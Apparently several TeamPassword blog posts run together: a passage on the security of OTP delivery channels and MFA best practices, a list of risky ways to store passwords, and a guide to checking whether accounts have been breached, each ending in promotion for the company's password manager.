Vulnerabilities: Susceptible to SIM swapping, where an attacker uses social engineering to port a victim's phone number to a device they control. They also face risks from vulnerabilities in the global SS7 telephony signaling network, which can allow for interception of SMS messages.
</li>
<li>
Best Use Case: Acceptable only for low-risk systems where user convenience is prioritized over security, and where more secure alternatives are not feasible.
</li>
</ul>
Email Delivering an OTP via email is marginally better than SMS but ties the security of the authentication process directly to the security of the user's email account.
<ul>
<li>
Vulnerabilities: If a user's email account is compromised&mdash;a common outcome of phishing attacks or credential reuse&mdash;the attacker can intercept OTPs and defeat the MFA control.
</li>
<li>
Best Use Case: Suitable for non-critical functions like user registration confirmation but should be avoided for authenticating access to high-value data or systems.
</li>
</ul>
Authenticator Apps (Software Tokens) Applications like Google Authenticator, Microsoft Authenticator, and Authy represent a significant security improvement.
TeamPassword offers an <a href="https://teampassword.com/blog/teampassword-totp-authenticator" rel="follow noopener" target="_blank">integrated TOTP authenticator</a> for shared accounts protected by 2FA.&nbsp;
<ul>
<li>
Strengths: The TOTP secret is stored securely on the user's device. The code is generated locally and is never transmitted over an insecure network, making it immune to interception and SIM swapping.
</li>
<li>
Vulnerabilities: The primary risk is the physical compromise of the unlocked device. Advanced phishing attacks (<a href="https://teampassword.com/blog/man-in-the-middle-attack" rel="follow noopener" target="_blank">Man-in-the-Middle</a>) can also trick users into entering an OTP into a fake portal, though this is a more complex attack.
</li>
<li>
Best Use Case: The recommended default for most corporate and consumer applications. It offers a strong balance of security and usability.
</li>
</ul>
Hardware Tokens and Security Keys Physical devices like YubiKeys or RSA SecurID tokens are the gold standard for a possession factor.
<ul>
<li>
Strengths: They are purpose-built, tamper-resistant devices. They are often "air-gapped" from the primary computing device, making them immune to malware and online attacks. FIDO2/WebAuthn-compliant keys provide the strongest protection against phishing.
</li>
<li>
Vulnerabilities: The main risks are physical loss or theft, which should be mitigated with robust device revocation and replacement procedures.
</li>
<li>
Best Use Case: Essential for protecting high-privilege accounts (e.g., system administrators, executives) and access to critical infrastructure, financial systems, or sensitive intellectual property.
</li>
</ul>

<h2>Actionable Best Practices for Secure OTP Implementation</h2>

Implementing OTPs effectively goes beyond simply enabling the feature.
<ol start="1">
<li>
Mandate <a href="https://teampassword.com/blog/2fa-vs-mfa" rel="follow noopener" target="_blank">MFA</a> Across the Organization: Make MFA non-negotiable for all employees, contractors, and partners, particularly for VPN, email, and cloud service access.
</li>
<li>
Select Channels Based on Risk: Do not use a one-size-fits-all approach. Deploy hardware tokens for privileged users and critical systems. Mandate authenticator apps for all other general use. Restrict SMS and email OTPs to low-impact scenarios, such as password resets for external users, if absolutely necessary.
</li>
<li>
Secure the Backend: Remember that OTPs are a second factor. The security of the primary factor (the password) is still critical. Enforce strong password policies and ensure all static credentials are stored using modern, salted hashing algorithms like Argon2 or bcrypt. The TOTP/HOTP secret keys must also be stored encrypted and protected with stringent access controls.
</li>
<li>
Implement Rate Limiting and Account Lockouts: Protect the OTP entry form from brute-force attacks by limiting the number of failed attempts within a given timeframe before locking the account or requiring a more rigorous verification process.
</li>
<li>
Develop Robust Recovery Procedures: A user will eventually lose their phone or hardware token. Plan for this by establishing a secure, multi-step identity verification process for account recovery that does not create a security loophole. This process must be more rigorous than the standard login.
</li>
<li>
Prioritize User Education: Continuously train users to identify phishing attacks, understand the risks of SIM swapping, and never share their OTPs. An educated user is a critical layer in the defense-in-depth model.
</li>
</ol>

<h2>Conclusion: The Evolving Authentication Landscape</h2>

One-Time Passwords are a foundational element of modern cybersecurity, providing an essential layer of protection that static passwords cannot. However, they are not a panacea. Their security is contingent upon a well-architected implementation that carefully considers the delivery channel's risk profile and is integrated into a holistic MFA strategy.
As threats evolve, so too does authentication technology. The industry is steadily moving towards passwordless solutions built on standards like FIDO2 and WebAuthn, which use public-key cryptography to provide even stronger phishing resistance. While OTPs remain a vital tool today, organizations should view them as a crucial step on the journey toward a more secure, passwordless future.
TeamPassword provides your business with a powerful, user-friendly platform that makes security simple.
Gain complete control and peace of mind with robust features designed for team collaboration:
<ul>
<li>
Integrated TOTP Authenticator: Generate time-based one-time passcodes directly within TeamPassword, eliminating the need for separate authenticator apps on your phone.
</li>
<li>
Enforceable 2FA: Mandate two-factor authentication for every user across your organization, ensuring a consistent and high standard of security.
</li>
<li>
Detailed Activity Logs: Maintain full visibility with a complete audit trail of who accessed what and when, perfect for security audits and accountability.
</li>
<li>
Unlimited Records &amp; Groups: Store an infinite number of logins and organize them into logical groups by team, project, or client for easy access and management.
</li>
<li>
Multiple User-Roles: Assign granular permissions to control exactly who can view, edit, and create credentials, ensuring access is granted only where it's needed.
</li>
<li>
Free Google Sign-In: Simplify onboarding and daily access with secure, one-click login using your team's existing Google accounts.
</li>
<li>
One-Time Share: Securely share a single password with an external contractor or partner for a limited time, without giving them permanent access to your records.
</li>
</ul>
With straightforward plans starting at just $2.41 per user per month, TeamPassword is the most effective and affordable way to protect your business.
<a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Start Your Free Trial and Secure Your Team Today</a>

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What is password encryption and how much is enough?

What is password encryption and how does it work?

In an increasingly digital world, we&rsquo;re switching more and more of our daily lives over to the Internet. While this brave new world is exciting and convenient, it&rsquo;s not without its problems.&nbsp;
The issue of unsafe passwords has been around for a while. But have you ever thought about where and how to store them?
Most of us have several passwords, and we&rsquo;re encouraged to never duplicate them. Some people simply write them all down on a piece of paper &mdash; which is fraught with danger. But others store their passwords electronically.
As you&rsquo;re about to find out, not all electronic systems of password storage are <a href="https://teampassword.com/blog/the-best-ways-to-store-passwords-2023" target="_blank" rel="follow noopener">safe</a>. Here are five of the most dangerous ways to store your passwords.&nbsp;
But before we begin:
Avoid bad idea passwords and dangerous storage methods with TeamPassword. This advanced <a href="https://teampassword.com/blog/best-password-managers-for-teams" target="_blank" rel="follow noopener">password manager for teams</a> features a selection of security features, including password encryption and two-step verification. Sign up for a <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">free trial</a> today.&nbsp;
<h2 id="email">1. Email</h2>
<img src="https://cdn.buttercms.com/efPCc2QZQ7C0OT1KeoKe" alt="" width="655" height="88">
We've all been there: struggling to remember a new password and considering emailing it to ourselves for safekeeping. While it might seem convenient, emailing passwords is a terrible security practice with far-reaching consequences. Here's why:
<ul>
<li data-sourcepos="7:3-7:245">Unencrypted Transmission: Emails often travel in plain text, like postcards. Anyone with access to the data stream &ndash; hackers, scammers, or even compromised servers &ndash; could easily intercept the email and steal your password in its entirety.</li>
<li data-sourcepos="9:3-9:33">Multiple Vulnerable Points: Even if the email itself is encrypted, your password is exposed at several stages. It's stored on your device before sending, sits unencrypted on email servers during transit, and resides in your sent folder &ndash; all potential points of entry for attackers.</li>
<li data-sourcepos="11:3-11:248">Local Storage Risks: Many email platforms store data locally on your devices. If your computer, phone, or tablet is stolen or infected with malware, even deleted emails containing passwords might be recoverable, putting your accounts at risk.</li>
</ul>
The ease with which cybercriminals can exploit these vulnerabilities makes emailing passwords a high-stakes gamble. A stolen password could grant them access to your bank accounts, social media profiles, email itself, and more. The <a href="https://teampassword.com/blog/cybersecurity-complete-guide" rel="follow noopener" target="_blank">damage can be immense</a>, so why risk it for a temporary convenience?

<h2 id="Documents">2. Online Documents</h2>
<img src="https://cdn.buttercms.com/Hh6oH8AzTMSnQFUaPHR9" alt="" width="216" height="235">
A lot of people like the convenience of saving crucial information using online document systems such as Google Docs. But this is a bad idea for passwords, as these systems are designed for text &mdash; not sensitive data.
Yes, a password might protect your online document manager from unauthorized access. But what happens if that password is compromised? Many document software platforms don&rsquo;t offer encryption, two-step verification, or even the most basic security measures.&nbsp;
If you use online documents regularly, you&rsquo;re probably accessing your account on a regular basis &mdash; across several devices. What happens if you step away for a moment to buy a coffee, speak to a friend, or use the bathroom?
A criminal can access an unattended online document platform in seconds. And if this happens, it doesn't take a lot of effort to steal your unsafe passwords.&nbsp;
<h2 id="instantmessaging">3. Instant Messaging Service</h2>
Instant messaging (IM) services like WhatsApp, Facebook Messenger, and Snapchat offer a convenient way to communicate, but they are not designed for securely storing passwords. While some IM platforms offer end-to-end encryption for message content, they lack crucial security features necessary for password management.
People who store their passwords on these apps do so because they believe they&rsquo;re fully encrypted. While that&rsquo;s often the case, it&rsquo;s important to remember that instant messaging services are often left open and operating in the background.
Imagine someone picks up your phone while you&rsquo;re not paying attention. If you left your device unlocked, that person would be able to access your password in seconds.
Here's why storing passwords on IM apps is a security risk:
<ul data-sourcepos="9:1-9:155">
<li data-sourcepos="9:1-9:155">Accessibility on Unlocked Devices: IM apps are designed to run in the background on unlocked devices. This means anyone with physical access to your unlocked phone or computer could potentially view your unencrypted passwords.</li>
<li data-sourcepos="10:1-10:164">Accidental Sharing: A single inadvertent tap or screenshot could send your password to someone unintended, compromising the security of your online accounts.</li>
<li data-sourcepos="11:1-12:0">Limited Security Features: Unlike dedicated password managers, IM applications typically lack features like secure password generation, two-factor authentication, and strong encryption specifically designed to protect passwords.</li>
</ul>
Dedicated password management applications offer robust security features like encryption, secure storage, and auto-fill functionality for logins.
<h2 id="onlinenotetaker">4. Online Note-taker</h2>
While online note-taking applications like Apple Notes offer a convenient platform for managing everyday tasks and reminders, they are demonstrably unsuitable for storing sensitive information, particularly passwords. These platforms, designed for general purpose note-taking, lack the robust security features essential for safeguarding confidential credentials.
Here's why online note-taking apps pose a significant security risk for passwords:
<ul>
<li data-sourcepos="9:3-9:314">Absence of Multi-Factor Authentication: Unlike dedicated password managers, these applications typically do not offer multi-factor authentication (MFA). MFA adds an extra layer of security by requiring a second verification step beyond a simple password, significantly hindering unauthorized access attempts.</li>
<li data-sourcepos="11:3-11:322">Limited Encryption Capabilities: While some note-taking applications may offer basic encryption features, they often fall short of the robust encryption protocols employed by dedicated password management solutions. This weaker encryption leaves sensitive data vulnerable to potential decryption by malicious actors.</li>
<li data-sourcepos="13:3-13:97">Accessibility on Unlocked Devices: Online note-taking apps are designed for ease of use and accessibility. This ease of access translates to a vulnerability. If a user's device remains unlocked and unattended, a perpetrator would only need to access the specific application to view unencrypted passwords.</li>
</ul>
In a world of increasingly sophisticated cyber threats, it is critical to prioritize robust security practices. Online note-taking applications simply do not provide the necessary safeguards for password management. Users are strongly advised to consider secure alternatives, such as dedicated password managers or offline password vaults, to ensure the confidentiality and integrity of their login credentials.
<h2 id="nonpasswordprotecteddevice">5. On a Non-Password-Protected Device</h2>
Of all the bad ideas for passwords, storing them on non-password-protected devices is about the worst. You might think that your tablet or laptop never leaves your side. But if your device is ever stolen, you&rsquo;ve given the criminals the easiest possible opportunity to access your saved passwords.&nbsp;
If you&rsquo;re determined to store passwords on a physical device &mdash; which is never a good idea &mdash; make sure the device password is a complex combination of letters, numbers, and symbols. And it should contain at least 12 characters.&nbsp;
<h2 data-sourcepos="7:1-7:6">Control Your Security and Choose Convenience with TeamPassword</h2>
<img src="https://cdn.buttercms.com/0gCOt5oQBCE1vxckmRZC" alt="The TeamPassword Extension for Chrome lets you sign into any account in seconds" width="828" height="466">
Our digital vault safeguards your passwords with industry-leading AES 256-bit encryption and ironclad two-step authentication. Stop wasting time remembering &ndash; TeamPassword empowers you with secure, one-click logins across all your devices.
<ul>
<li data-sourcepos="9:1-9:157">Divide passwords into groups to share with appropriate team members</li>
<li data-sourcepos="9:1-9:157">Enforce 2FA for all users</li>
<li data-sourcepos="9:1-9:157">View activity logs for all of your records</li>
<li data-sourcepos="9:1-9:157">Use the TeamPassword browser extensions and mobile apps for lightning-fast access everywhere</li>
<li data-sourcepos="9:1-9:157">Save money with affordable plans configured for YOU</li>
</ul>
Don't settle for password purgatory. Take control with TeamPassword. <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Sign up for your FREE trial today</a> and experience the power of effortless security!

Storing passwords inappropriately can leave you open to fraud and theft. Avoid these storage methods at all costs. | TeamPassword Blog

Storing passwords inappropriately can leave you open to fraud and theft. Avoid these storage methods at all costs. ...

Top 5 Dangerous Ways to Store Your Passwords

So you think hackers have stolen your password? You're not the only one. 
Perhaps you've noticed strange activity on your email account or frequent pop-ups on your computer. Perhaps it's just a hunch. 
But how can you know&nbsp;for sure?
There are many warning signs that you've been the victim of a data hack:
<ul>
<li>Your device is slower than normal.</li>
<li>You use more data than normal.</li>
<li>Videos take longer to load.</li>
<li>You received an email notification about a password change you didn't make.</li>
<li>An online account no longer accepts your password.</li>
</ul>
However, hackers can steal your passwords and identity&nbsp;without you ever knowing. That's why it's so difficult to tell if you're the victim of a hack.
This guide will help you work out if hackers have stolen your information and tell you how to stop it from happening again.&nbsp;
Prevent hackers from stealing your data by incorporating TeamPassword into your tech stack. This password manager for teams comes with a range of security features like two-step verification and password encryption.&nbsp;<a href="https://app.teampassword.com/dashboard#signup/testimonial" target="_blank" rel="noopener">Sign up for a free trial</a>&nbsp;today.&nbsp;

<h2>Have I Been Hacked? How Do I Know?</h2>
There are various ways to tell whether hackers have access to your information:
<ul>
<li>Look for unusual activity on your account. This activity includes logins to your social media accounts from unfamiliar locations or mass messages sent from your email account.&nbsp;</li>
<li>Look for security emails from account providers that warn about failed login attempts or password changes you didn't make.&nbsp;&nbsp;</li>
<li>Look for changes in performance on the devices, apps, and websites you use. For example, see if videos take longer to buffer than normal.&nbsp;</li>
<li>Look at your browser's password manager (if you use one) and check that nobody has changed these credentials.&nbsp;</li>
</ul>
All the above can be a guessing game. You might have a feeling that you're the victim of a hack but don't know for sure. 
Checking a stolen password list like "Have I Been Pwned" clears up some of the confusion. This tool searches across multiple data breaches &mdash; when hackers take stolen passwords and usernames and post them online &mdash; to see if cybercriminals have compromised your personal information. 
Here's how to use this stolen password list:
<ol>
<li>Enter your email address on the main page.&nbsp;</li>
<li>Click "pwned."</li>
<li>The website will search thousands of databases to see if hackers have stolen your personal information.</li>
<li>If you receive the "Oh no &ndash; Pwned!" message, it means hackers have posted sensitive information associated with your email address (passwords, addresses, phone numbers, etc.) somewhere online.</li>
<li>If you receive the "Good news &ndash; no pwnage found!" message, it means the website could not find your information on the internet.&nbsp;</li>
</ol>
Note: Just because the website can't find your data on the internet, it doesn't mean hackers haven't compromised your personal information.
Read more:&nbsp;<a href="https://teampassword.com/blog/password-manager-for-small-businesses" target="_blank" rel="noopener">Password Manager for Small Businesses</a>

<h2>Which Passwords Did Hackers Steal?</h2>
Establish which passwords hackers stole in a data breach so you can take quick action. Websites like "Have I Been Pwned"&nbsp;won't&nbsp;tell you which passwords are at risk. You'll only learn whether hackers have compromised the data associated with a particular email address. 
Note: Sometimes, hackers might have access to your email address and other personal information but not your password. It's hard to know for sure.&nbsp;
If hackers have access to your data, it's a good idea to change&nbsp;all passwords&nbsp;associated with the compromised email address. If you use your email address for several online accounts, change the passwords for these services. Updating these passwords might take you a while, and remembering the new passwords leads to additional problems. (Keep reading to find a solution.)
Here are some other tips:
<ul>
<li>When choosing new passwords, use combinations of lowercase letters, uppercase letters, numbers, and symbols. Passwords that use all these elements are stronger than those that don't.</li>
<li>Don't write your passwords down because this increases the risk of identity theft.&nbsp;&nbsp;</li>
<li>Don't tell anyone your new passwords.</li>
</ul>
Read more:&nbsp;<a href="https://teampassword.com/blog/the-most-secure-way-to-share-passwords" target="_blank" rel="noopener">The Most Secure Way to Share Passwords</a>.

<h2>How Common Is a Data Hack?</h2>
More common than you think. Hackers were responsible for more than 4,000 attacks every day in 2020, and the total number of compromised records exceeded 37 billion. That's a 141% increase from 2019. Much of this compromised data appears on the dark web, where cybercriminals use it to facilitate illegal activities such as identity theft and money laundering.&nbsp;
If you have been the subject of a data hack, you are not alone. However, it's important to act quickly to prevent hackers from accessing your personal or financial accounts.&nbsp;
There are other types of cybercrime to consider. Cybercriminals use techniques like phishing, where they impersonate people online and trick victims into handing over their personal information. Phishing now accounts for more than 80% of all cybersecurity incidents, and criminals steal $17,700 every minute in these attacks.&nbsp;

<h2>What Kind of Information Do Hackers Steal?</h2>
Hackers steal all kinds of personal and financial information:
<ul>
<li>Names</li>
<li>Email addresses</li>
<li>Usernames</li>
<li>Passwords</li>
<li>Addresses</li>
<li>Phone numbers</li>
<li>Bank account details</li>
<li>Credit card numbers</li>
<li>Social Security numbers</li>
<li>Insurance information&nbsp;</li>
<li>IRS information</li>
<li>Photos</li>
<li>Private message</li>
<li>SMS messages</li>
</ul>
Nothing is off-limits for hackers, and these criminals go to great lengths to steal your data. Once they have access to the information above, hackers can transfer money from your bank accounts, use your identity to apply for financing, and damage your credit file.&nbsp;
Read more:&nbsp;<a href="https://teampassword.com/blog/the-scariest-data-breaches-of-all-time" target="_blank" rel="noopener">The Scariest Data Breaches of All Time</a>.
TeamPassword is the best password manager for teams. Features include two-step verification, password encryption, easy password sharing, and more.&nbsp;<a href="https://app.teampassword.com/dashboard#signup/testimonial" target="_blank" rel="noopener">Get a free trial now</a>&nbsp;and learn how TeamPassword keeps you safe online.&nbsp;

<h2>Have I Been Hacked? How to Stay Safe.</h2>
There are several ways to improve online security and prevent hackers from accessing your personal information:
<ul>
<li>Use the latest security software and apps when using devices and browsing the internet.</li>
<li>Carry out regular risk assessments where you evaluate your security software.</li>
<li>Back up personal data to a reputable cloud service instead of keeping it on your device.&nbsp;</li>
<li>Don't share personal information with other people.</li>
<li>Create a security management strategy for your organization and share it with all team members.&nbsp;</li>
</ul>
Using a password manager is another way to stay safe online. The best ones encrypt your online passwords so hackers can't access these credentials, and you can keep passwords in a secure cloud-based vault and not have to remember them. There are various password managers online, including free ones available through most internet browsers, but not all tools are the same.&nbsp;
If you work alongside a team, consider TeamPassword. It's the&nbsp;<a href="https://www.teampassword.com/" target="_blank" rel="noopener">password manager for teams</a>&nbsp;that require world-class security and performance. This all-in-one password solution helps teams like yours store, manage, and share passwords in the safest way possible.&nbsp;

<h2>How Can TeamPassword Help?</h2>
TeamPassword prevents hackers from stealing your organization's most sensitive data with an incredible range of password management features. Enterprises of all sizes use TeamPassword to manage passwords, including tech startups, digital marketing agencies, creative agencies, and software and development teams.
Here are some&nbsp;<a href="https://teampassword.com/features" target="_blank" rel="noopener">TeamPassword features</a>&nbsp;that prevent situations involving a stolen password:
<ul>
<li>Random password generation that creates unique passwords for websites.</li>
<li>Two-step password verification.</li>
<li>Activity and logging tools so you can discover who has access to password management features.</li>
<li>Secure encryption technology.</li>
<li>Email notifications about password management actions.</li>
<li>Passwords stored securely in one place. </li>
</ul>
<h2>Final Word</h2>
If you're looking for the answer to the question, "Have I been hacked?" it's difficult to know for sure. Preventing hackers from compromising your data in the first place provides a better resolution. TeamPassword lets you store and manage passwords in a secure environment and minimize the effects of a stolen password so you can avoid hackers stealing your data and continue to collaborate on team projects.&nbsp;
With features like password encryption, two-step authentication, and random password generation, TeamPassword is the best password management solution for teams that want to improve online security.&nbsp;<a href="https://app.teampassword.com/dashboard#signup/testimonial" target="_blank" rel="noopener">Sign up for a free trial</a>&nbsp;now.

Have I been hacked? Here's how to check if you have and learn how to stop hackers from stealing your data. | TeamPassword Blog

Have I been hacked? Here's how to check if you have and learn how to stop hackers from ...

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